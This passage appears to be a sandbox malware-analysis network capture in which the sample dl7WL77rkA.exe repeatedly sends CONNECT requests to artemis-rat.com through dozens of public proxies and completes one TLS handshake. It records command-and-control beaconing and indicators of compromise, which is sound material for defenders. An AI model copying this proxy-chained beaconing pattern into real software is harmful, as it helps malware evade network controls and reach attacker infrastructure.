Mar 11, 2024 03:30:41.258116007 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.5	50640	104.24.136.68	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.582714081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.737564087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.5	50613	12.186.205.121	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.592190027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.5	50648	104.18.254.76	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.593070984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.748002052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.5	49820	43.255.113.232	8082	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.593079090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.592519999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.593162060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.592777967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.592717886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.5	50465	47.100.91.57	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.595169067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.946063042 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.5	50452	103.19.59.102	1983	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.596142054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.286115885 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.5	50493	219.243.212.118	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.597708941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.5	50584	162.223.94.164	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.600748062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.883981943 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.5	50500	213.131.230.161	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.625210047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.940274954 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.5	50494	45.11.95.166	6009	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.625210047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.5	50512	185.104.219.229	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.625358105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.936438084 CET	401	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.5	50550	62.112.10.26	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.625909090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.264228106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.139267921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.905358076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389985085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.889795065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.5	50620	38.162.3.215	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.625915051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.039921045 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.5	50521	161.97.104.4	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.626085043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.942673922 CET	82	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.5	50514	18.135.133.116	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.626091957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.918256998 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:38.919624090 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c cd 20 16 57 00 f7 e2 1b f1 bc a7 21 40 72 1d c1 4c db 5d 86 0f a1 15 0e 81 d7 bb 7d b5 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: el W!@rL]}*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:39.244188070 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 d3 94 2e 29 ca d8 3e 69 29 9f b1 2b 1a 41 ae d3 93 d9 98 8f fd 0c f2 4f 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9.)>i)+AODOWNGRD0000H010Uartemis-rat.com0240311022309Z260311022309Z010Uartemis-rat.com0"0H0eOvn0
Mar 11, 2024 03:30:39.245928049 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 38 62 e3 73 73 f2 20 2c b0 8d 68 78 30 a8 1f b0 b0 ba fd bd 17 2d 16 ed 4d 36 9e f2 46 0b a0 3d 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 27 b5 cd 55 e3 84 9f f0 ec 2f 41 4d d4 e3 61 6e 12 c9 6a 96 96 Data Ascii: %! 8bss ,hx0-M6F=('U/AManj\78Zh
Mar 11, 2024 03:30:39.594166994 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 2b 28 ba 3e d3 ec cf 27 74 97 aa 9e 31 bb 1d a2 a7 8d cb a3 e0 e7 6c 43 27 8d 7a f7 98 08 c7 14 4a 92 91 95 60 c1 21 fc Data Ascii: (+(>'t1lC'zJ`!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.5	49896	184.178.172.28	15294	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.629401922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.5	50524	51.158.98.211	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.629578114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.264200926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.139267921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.905288935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389942884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.889780998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.389583111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.048403978 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.5	50651	165.232.158.60	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.631131887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.805058002 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.5	50489	120.26.0.11	8880	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
